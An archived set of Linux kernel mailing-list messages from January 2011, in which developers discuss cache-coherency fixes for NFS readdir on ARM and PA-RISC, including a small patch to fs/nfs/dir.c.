> James
> 
> ---
> 
> diff --git a/fs/nfs/dir.c b/fs/nfs/dir.c
> index 996dd89..bde1911 100644
> --- a/fs/nfs/dir.c
> +++ b/fs/nfs/dir.c
> @@ -587,12 +587,16 @@ int nfs_readdir_xdr_to_array(nfs_readdir_descriptor_t *desc, struct page *page,
>  		if (status < 0)
>  			break;
>  		pglen = status;
> +
> +		invalidate_kernel_vmap_range(pages_ptr, pglen);
> +
>  		status = nfs_readdir_page_filler(desc, &entry, pages_ptr, page, pglen);
>  		if (status < 0) {
>  			if (status == -ENOSPC)
>  				status = 0;
>  			break;
>  		}
> +		flush_kernel_vmap_range(pages_ptr, pglen);

Why is this line needed? We're not writing through the virtual mapping.

We checked using just the invalidate_kernel_vmap_range(), and that
appeared to suffice to fix the problem on ARM.

Cheers
  Trond
-- 
Trond Myklebust
Linux NFS client maintainer

NetApp
Trond.Myklebust@netapp.com
www.netapp.com


From - Thu Nov 08 21:06:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc
Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Thu, 06 Jan 2011 11:51:35 -0600
Lines: 60
Approved: news@gmane.org
Message-ID: <1294336295.22825.168.camel@mulgrave.site>
References: <1294254337.16957.13.camel@mulgrave.site>
	 <AANLkTi=VZUxNFd7n-qwf5aiOeK5rkk8qBmo+kOpgg7up@mail.gmail.com>
	 <1294256169.16957.18.camel@mulgrave.site>
	 <20110105200008.GJ8638@n2100.arm.linux.org.uk>
	 <1294259637.16957.25.camel@mulgrave.site>
	 <AANLkTimzzBsdtWcZtP5E_CH1hUZugGMoaHOiMdQJf764@mail.gmail.com>
	 <20110105210448.GM8638@n2100.arm.linux.org.uk>
	 <AANLkTi=EXXBTW7oWHq3D+PHsx=thF1CpkRjn0ax2p5rm@mail.gmail.com>
	 <1294262208.2952.4.camel@heimdal.trondhjem.org>
	 <AANLkTi=3Gu-rz=-OdNtUXn4qw60Df6=YePnzvB=s-+Ov@mail.gmail.com>
	 <1294268808.2952.18.camel@heimdal.trondhjem.org>
	 <1294270104.16957.73.camel@mulgrave.site>
	 <1294335614.22825.154.camel@mulgrave.site>
	 <1294336054.2905.1.camel@heimdal.trondhjem.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1294336314 331 80.91.229.12 (6 Jan 2011 17:51:54 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 6 Jan 2011 17:51:54 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	Russell King - ARM Linux <linux@arm.linux.org.uk>,
	linux-nfs@vger.kernel.org, linux-kernel@vger.kernel.org,
	Marc Kleine-Budde <mkl@pengutronix.de>,
	Uwe =?ISO-8859-1?Q?Kleine-K=F6nig?= 
	<u.kleine-koenig@pengutronix.de>,
	Marc Kleine-Budde <m.kleine-budde@pengutronix.de>,
	linux-arm-kernel@lists.infradead.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-arch@vger.kernel.org
To: Trond Myklebust <Trond.Myklebust@netapp.com>
Original-X-From: linux-arch-owner@vger.kernel.org Thu Jan 06 18:51:46 2011
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1Patzx-00025g-Hl
	for glka-linux-arch@lo.gmane.org; Thu, 06 Jan 2011 18:51:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751153Ab1AFRvk (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Thu, 6 Jan 2011 12:51:40 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:39297 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751087Ab1AFRvj (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Thu, 6 Jan 2011 12:51:39 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 97D4E8EE10F;
	Thu,  6 Jan 2011 09:51:38 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id xTC0PWSpqYMa; Thu,  6 Jan 2011 09:51:38 -0800 (PST)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 5BE4C8EE0DF;
	Thu,  6 Jan 2011 09:51:37 -0800 (PST)
In-Reply-To: <1294336054.2905.1.camel@heimdal.trondhjem.org>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:8691 gmane.linux.nfs:38060 gmane.linux.kernel:1084344 gmane.linux.ports.arm.kernel:101771 gmane.linux.ports.parisc:3343
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/8691>

On Thu, 2011-01-06 at 12:47 -0500, Trond Myklebust wrote:
> On Thu, 2011-01-06 at 11:40 -0600, James Bottomley wrote: 
> > On Wed, 2011-01-05 at 23:28 +0000, James Bottomley wrote:
> > > Can you explain how the code works? it looks to me like you read the xdr
> > > stuff through the vmap region then write it out directly to the pages? 
> > 
> > OK, I think I see how this is supposed to work:  It's a sequential loop
> > of reading in via the pages (i.e. through the kernel mapping) and then
> > updating those pages via the vmap.  In which case, I think this patch is
> > what you need.
> > 
> > The theory of operation is that the readdir on pages actually uses the
> > network DMA operations to perform, so when it's finished, the underlying
> > page is up to date.  After this you invalidate the vmap range, so we
> > have no cache lines above it (so it picks up the values from the
> > uptodate page).  Finally, after the operation on the vmap region has
> > finished, you flush it so that any updated contents go back to the pages
> > themselves before the next iteration begins.
> > 
> > Does this look right to people?  I've verified it fixes the issues on
> > parisc.
> > 
> > James
> > 
> > ---
> > 
> > diff --git a/fs/nfs/dir.c b/fs/nfs/dir.c
> > index 996dd89..bde1911 100644
> > --- a/fs/nfs/dir.c
> > +++ b/fs/nfs/dir.c
> > @@ -587,12 +587,16 @@ int nfs_readdir_xdr_to_array(nfs_readdir_descriptor_t *desc, struct page *page,
> >  		if (status < 0)
> >  			break;
> >  		pglen = status;
> > +
> > +		invalidate_kernel_vmap_range(pages_ptr, pglen);
> > +
> >  		status = nfs_readdir_page_filler(desc, &entry, pages_ptr, page, pglen);
> >  		if (status < 0) {
> >  			if (status == -ENOSPC)
> >  				status = 0;
> >  			break;
> >  		}
> > +		flush_kernel_vmap_range(pages_ptr, pglen);
> 
> Why is this line needed? We're not writing through the virtual mapping.

If you're not altering it, it isn't ... the problem on parisc is that
invalidate is a nop for us because flush does it all, but I can fix
that.

James

> We checked using just the invalidate_kernel_vmap_range(), and that
> appeared to suffice to fix the problem on ARM.
> 
> Cheers
>   Trond



From - Thu Nov 08 21:06:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel.cross-arch,gmane.linux.nfs,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Thu, 6 Jan 2011 09:55:30 -0800
Lines: 33
Approved: news@gmane.org
Message-ID: <AANLkTimusF4KCJ4vHPn+T1dUiKxapXaT0QTtFvh8Ykdd@mail.gmail.com>
References: <1294254337.16957.13.camel@mulgrave.site>
	<AANLkTi=VZUxNFd7n-qwf5aiOeK5rkk8qBmo+kOpgg7up@mail.gmail.com>
	<1294256169.16957.18.camel@mulgrave.site>
	<20110105200008.GJ8638@n2100.arm.linux.org.uk>
	<1294259637.16957.25.camel@mulgrave.site>
	<AANLkTimzzBsdtWcZtP5E_CH1hUZugGMoaHOiMdQJf764@mail.gmail.com>
	<20110105210448.GM8638@n2100.arm.linux.org.uk>
	<AANLkTi=EXXBTW7oWHq3D+PHsx=thF1CpkRjn0ax2p5rm@mail.gmail.com>
	<1294262208.2952.4.camel@heimdal.trondhjem.org>
	<AANLkTi=3Gu-rz=-OdNtUXn4qw60Df6=YePnzvB=s-+Ov@mail.gmail.com>
	<1294268808.2952.18.camel@heimdal.trondhjem.org>
	<1294270104.16957.73.camel@mulgrave.site>
	<1294335614.22825.154.camel@mulgrave.site>
	<1294336054.2905.1.camel@heimdal.trondhjem.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1294336662 2195 80.91.229.12 (6 Jan 2011 17:57:42 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 6 Jan 2011 17:57:42 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-nfs@vger.kernel.org,
	Russell King - ARM Linux <linux@arm.linux.org.uk>,
	Parisc List <linux-parisc@vger.kernel.org>, linux-kernel@vger.kernel.org,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	Marc Kleine-Budde <mkl@pengutronix.de>,
	=?ISO-8859-1?Q?Uwe_Kleine=2DK=F6nig?= <u.kleine-koenig@pengutronix.de>,
	Marc Kleine-Budde <m.kleine-budde@pengutronix.de>,
	linux-arm-kernel@lists.infradead.org
To: Trond Myklebust <Trond.Myklebust@netapp.com>
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Thu Jan 06 18:57:36 2011
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from canuck.infradead.org ([134.117.69.58])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1Pau5e-0005XF-0c
	for linux-arm-kernel@m.gmane.org; Thu, 06 Jan 2011 18:57:34 +0100
Original-Received: from localhost ([127.0.0.1] helo=canuck.infradead.org)
	by canuck.infradead.org with esmtp (Exim 4.72 #1 (Red Hat Linux))
	id 1Pau4b-0001bz-Qz; Thu, 06 Jan 2011 17:56:29 +0000
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13])
	by canuck.infradead.org with esmtps (Exim 4.72 #1 (Red Hat Linux))
	id 1Pau4X-0001az-Lv for linux-arm-kernel@lists.infradead.org;
	Thu, 06 Jan 2011 17:56:26 +0000
Original-Received: from mail-iy0-f177.google.com (mail-iy0-f177.google.com
	[209.85.210.177]) (authenticated bits=0)
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with
	ESMTP id p06HtqWO007655
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=FAIL)
	for <linux-arm-kernel@lists.infradead.org>;
	Thu, 6 Jan 2011 09:55:52 -0800
Original-Received: by iyj21 with SMTP id 21so16262747iyj.36
	for <linux-arm-kernel@lists.infradead.org>;
	Thu, 06 Jan 2011 09:55:50 -0800 (PST)
Original-Received: by 10.231.36.139 with SMTP id t11mr8459995ibd.91.1294336550747; Thu,
	06 Jan 2011 09:55:50 -0800 (PST)
Original-Received: by 10.231.31.72 with HTTP; Thu, 6 Jan 2011 09:55:30 -0800 (PST)
In-Reply-To: <1294336054.2905.1.camel@heimdal.trondhjem.org>
X-Spam-Status: No, hits=-2.974 required=5 tests=AWL,BAYES_00
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
X-CRM114-Version: 20090807-BlameThorstenAndJenny ( TRE 0.7.6 (BSD) )
	MR-646709E3 
X-CRM114-CacheID: sfid-20110106_125625_927714_3B1C257A 
X-CRM114-Status: GOOD (  11.94  )
X-Spam-Score: -0.0 (/)
X-Spam-Report: SpamAssassin version 3.3.1 on canuck.infradead.org summary:
	Content analysis details:   (-0.0 points)
	pts rule name              description
	---- ----------------------
	--------------------------------------------------
	-0.0 T_RP_MATCHES_RCVD Envelope sender domain matches handover relay
	domain
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
	<mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
	<mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: linux-arm-kernel-bounces@lists.infradead.org
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:101775 gmane.linux.kernel.cross-arch:8692 gmane.linux.nfs:38061 gmane.linux.ports.parisc:3344 gmane.linux.kernel:1084347
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/101775>

On Thu, Jan 6, 2011 at 9:47 AM, Trond Myklebust
<Trond.Myklebust@netapp.com> wrote:
>
> Why is this line needed? We're not writing through the virtual mapping.

I haven't looked at the sequence of accesses, but you need to be
_very_ aware that "write-through" is absolutely NOT sufficient for
cache coherency.

In cache coherency, you have three options:

 - true coherency (eg physically indexed/tagged caches)

 - exclusion (eg virtual caches, but with an exclusion guarantee that
guarantees that aliases cannot happen: either by using physical
tagging or by not allowing cases that could cause virtual aliases)

 - write-through AND non-cached reads (ie "no caching at all").

You seem to be forgetting the "no cached reads" part. It's not
sufficient to flush after a write - you need to make sure that you
also don't have a cached copy of the alias for the read.

So "We're not writing through the virtual mapping" is NOT a sufficient
excuse. If you're reading through the virtual mapping, you need to
make sure that the virtual mapping is flushed _after_ any writes
through any other mapping and _before_ any reads through the virtual
one.

This is why you really really really generally don't want to have
aliasing. Purely virtual caches are pure crap. Really.

                       Linus

From - Thu Nov 08 21:06:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King - ARM Linux <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>
Newsgroups: gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Thu, 6 Jan 2011 18:05:30 +0000
Lines: 20
Approved: news@gmane.org
Message-ID: <20110106180530.GI31708@n2100.arm.linux.org.uk>
References: <20110105200008.GJ8638@n2100.arm.linux.org.uk> <1294259637.16957.25.camel@mulgrave.site> <AANLkTimzzBsdtWcZtP5E_CH1hUZugGMoaHOiMdQJf764@mail.gmail.com> <20110105210448.GM8638@n2100.arm.linux.org.uk> <AANLkTi=EXXBTW7oWHq3D+PHsx=thF1CpkRjn0ax2p5rm@mail.gmail.com> <1294262208.2952.4.camel@heimdal.trondhjem.org> <AANLkTi=3Gu-rz=-OdNtUXn4qw60Df6=YePnzvB=s-+Ov@mail.gmail.com> <1294268808.2952.18.camel@heimdal.trondhjem.org> <1294270104.16957.73.camel@mulgrave.site> <1294335614.22825.154.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1294337155 5016 80.91.229.12 (6 Jan 2011 18:05:55 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 6 Jan 2011 18:05:55 +0000 (UTC)
Cc: Trond Myklebust <Trond.Myklebust-HgOvQuBEEgTQT0dZR+AlfA@public.gmane.org>,
	Linus Torvalds <torvalds-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>,
	linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Marc Kleine-Budde <mkl-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>,
	Uwe =?iso-8859-1?Q?Kleine-K=F6nig?= 
	<u.kleine-koenig-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>,
	Marc Kleine-Budde <m.kleine-budde-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Parisc List <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: James Bottomley <James.Bottomley-d9PhHud1JfjCXq6kfMZ53/egYHeGw8Jk@public.gmane.org>
Original-X-From: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Thu Jan 06 19:05:49 2011
Return-path: <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1PauDd-0002CS-9J
	for glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org; Thu, 06 Jan 2011 19:05:49 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1752193Ab1AFSFs (ORCPT <rfc822;glN-linux-nfs@m.gmane.org>);
	Thu, 6 Jan 2011 13:05:48 -0500
Original-Received: from caramon.arm.linux.org.uk ([78.32.30.218]:48208 "EHLO
	caramon.arm.linux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751815Ab1AFSFr (ORCPT
	<rfc822;linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Thu, 6 Jan 2011 13:05:47 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=arm.linux.org.uk; s=caramon;
	h=Sender:In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date; bh=7a6ljR0StK79KPf2JeF/wJ0xhYubqH9S3MgZ3/Fsjyc=;
	b=J/Yx0takseZqm5NHoeBdmRkaM2GUqofeaaPTZQETu1WuOUmaVERJYCHR7ogjk9gZ7TWzndEJJX/FF4VTpshCXXShDIghn6K1YVpbqQiMBIz7Exan1YKDnun0M2MODXk1zlb+pZiEwXmP1cked/IIB6GZg8SgdN66mN8EaDB17wU=;
Original-Received: from n2100.arm.linux.org.uk ([2002:4e20:1eda:1:214:fdff:fe10:4f86])
	by caramon.arm.linux.org.uk with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.72)
	(envelope-from <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>)
	id 1PauDM-0000xM-FY; Thu, 06 Jan 2011 18:05:32 +0000
Original-Received: from linux by n2100.arm.linux.org.uk with local (Exim 4.72)
	(envelope-from <linux-l+eeeJia6m9vn6HldHNs0ANdhmdF6hFW@public.gmane.org>)
	id 1PauDL-0002KA-1E; Thu, 06 Jan 2011 18:05:31 +0000
Content-Disposition: inline
In-Reply-To: <1294335614.22825.154.camel-0iu6Cu4xQGLYCGPCin2YbQ@public.gmane.org>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-nfs.vger.kernel.org>
X-Mailing-List: linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.nfs:38062 gmane.linux.kernel:1084350 gmane.linux.ports.arm.kernel:101783 gmane.linux.ports.parisc:3345 gmane.linux.kernel.cross-arch:8693
Archived-At: <http://permalink.gmane.org/gmane.linux.nfs/38062>

On Thu, Jan 06, 2011 at 11:40:13AM -0600, James Bottomley wrote:
> On Wed, 2011-01-05 at 23:28 +0000, James Bottomley wrote:
> > Can you explain how the code works? it looks to me like you read the xdr
> > stuff through the vmap region then write it out directly to the pages? 
> 
> OK, I think I see how this is supposed to work:  It's a sequential loop
> of reading in via the pages (i.e. through the kernel mapping) and then
> updating those pages via the vmap.  In which case, I think this patch is
> what you need.
> 
> The theory of operation is that the readdir on pages actually uses the
> network DMA operations to perform, so when it's finished, the underlying

What network DMA operations - what if your NIC doesn't do DMA because
it's an SMSC device?
--
To unsubscribe from this list: send the line "unsubscribe linux-nfs" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.kernel.cross-arch
Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Thu, 06 Jan 2011 12:14:30 -0600
Lines: 44
Approved: news@gmane.org
Message-ID: <1294337670.22825.199.camel@mulgrave.site>
References: <20110105200008.GJ8638@n2100.arm.linux.org.uk>
	 <1294259637.16957.25.camel@mulgrave.site>
	 <AANLkTimzzBsdtWcZtP5E_CH1hUZugGMoaHOiMdQJf764@mail.gmail.com>
	 <20110105210448.GM8638@n2100.arm.linux.org.uk>
	 <AANLkTi=EXXBTW7oWHq3D+PHsx=thF1CpkRjn0ax2p5rm@mail.gmail.com>
	 <1294262208.2952.4.camel@heimdal.trondhjem.org>
	 <AANLkTi=3Gu-rz=-OdNtUXn4qw60Df6=YePnzvB=s-+Ov@mail.gmail.com>
	 <1294268808.2952.18.camel@heimdal.trondhjem.org>
	 <1294270104.16957.73.camel@mulgrave.site>
	 <1294335614.22825.154.camel@mulgrave.site>
	 <20110106180530.GI31708@n2100.arm.linux.org.uk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1294337687 8052 80.91.229.12 (6 Jan 2011 18:14:47 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 6 Jan 2011 18:14:47 +0000 (UTC)
Cc: Trond Myklebust <Trond.Myklebust@netapp.com>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	linux-nfs@vger.kernel.org, linux-kernel@vger.kernel.org,
	Marc Kleine-Budde <mkl@pengutronix.de>,
	Uwe =?ISO-8859-1?Q?Kleine-K=F6nig?= 
	<u.kleine-koenig@pengutronix.de>,
	Marc Kleine-Budde <m.kleine-budde@pengutronix.de>,
	linux-arm-kernel@lists.infradead.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-arch@vger.kernel.org
To: Russell King - ARM Linux <linux@arm.linux.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 06 19:14:41 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PauM8-0007Sp-Rj
	for glpp-linux-parisc@lo.gmane.org; Thu, 06 Jan 2011 19:14:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751581Ab1AFSOg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 6 Jan 2011 13:14:36 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:36341 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751458Ab1AFSOf (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 6 Jan 2011 13:14:35 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 8ADAF8EE114;
	Thu,  6 Jan 2011 10:14:34 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 44L0nPRQM7Qi; Thu,  6 Jan 2011 10:14:34 -0800 (PST)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 99B2A8EE0DF;
	Thu,  6 Jan 2011 10:14:32 -0800 (PST)
In-Reply-To: <20110106180530.GI31708@n2100.arm.linux.org.uk>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3346 gmane.linux.nfs:38063 gmane.linux.kernel:1084356 gmane.linux.ports.arm.kernel:101788 gmane.linux.kernel.cross-arch:8694
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3346>

On Thu, 2011-01-06 at 18:05 +0000, Russell King - ARM Linux wrote:
> On Thu, Jan 06, 2011 at 11:40:13AM -0600, James Bottomley wrote:
> > On Wed, 2011-01-05 at 23:28 +0000, James Bottomley wrote:
> > > Can you explain how the code works? it looks to me like you read the xdr
> > > stuff through the vmap region then write it out directly to the pages? 
> > 
> > OK, I think I see how this is supposed to work:  It's a sequential loop
> > of reading in via the pages (i.e. through the kernel mapping) and then
> > updating those pages via the vmap.  In which case, I think this patch is
> > what you need.
> > 
> > The theory of operation is that the readdir on pages actually uses the
> > network DMA operations to perform, so when it's finished, the underlying
> 
> What network DMA operations - what if your NIC doesn't do DMA because
> it's an SMSC device?

So this is the danger area ... we might be caught by our own flushing
tricks.  I can't test this on parisc since all my network drivers use
DMA (which automatically coheres the kernel mapping by
flush/invalidate).

What should happen is that the kernel mapping pages go through the
->readdir() path.  Any return from this has to be ready to map the pages
back to user space, so the kernel alias has to be flushed to make the
underlying page up to date.

The exception is pages we haven't yet mapped to userspace.  Here we set
the PG_dcache_dirty bit (sparc trick) but don't flush the page, since we
expect the addition of a userspace mapping will detect this case and do
the flush and clear the bit before the mapping goes live.  I assume
you're thinking that because this page is allocated and freed internally
to NFS, it never gets a userspace mapping and therefore, we can return
from ->readdir() with a dirty kernel cache (and the corresponding flag
set)?  I think that is a possible hypothesis in certain cases.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley-d9PhHud1JfjCXq6kfMZ53/egYHeGw8Jk@public.gmane.org>
Newsgroups: gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Thu, 06 Jan 2011 12:25:41 -0600
Lines: 44
Approved: news@gmane.org
Message-ID: <1294338341.22825.216.camel@mulgrave.site>
References: <20110105200008.GJ8638@n2100.arm.linux.org.uk>
	 <1294259637.16957.25.camel@mulgrave.site>
	 <AANLkTimzzBsdtWcZtP5E_CH1hUZugGMoaHOiMdQJf764@mail.gmail.com>
	 <20110105210448.GM8638@n2100.arm.linux.org.uk>
	 <AANLkTi=EXXBTW7oWHq3D+PHsx=thF1CpkRjn0ax2p5rm@mail.gmail.com>
	 <1294262208.2952.4.camel@heimdal.trondhjem.org>
	 <AANLkTi=3Gu-rz=-OdNtUXn4qw60Df6=YePnzvB=s-+Ov@mail.gmail.com>
	 <1294268808.2952.18.camel@heimdal.trondhjem.org>
	 <1294270104.16957.73.camel@mulgrave.site>
	 <1294335614.22825.154.camel@mulgrave.site>
	 <20110106180530.GI31708@n2100.arm.linux.org.uk>
	 <1294337670.22825.199.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1294338353 11711 80.91.229.12 (6 Jan 2011 18:25:53 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 6 Jan 2011 18:25:53 +0000 (UTC)
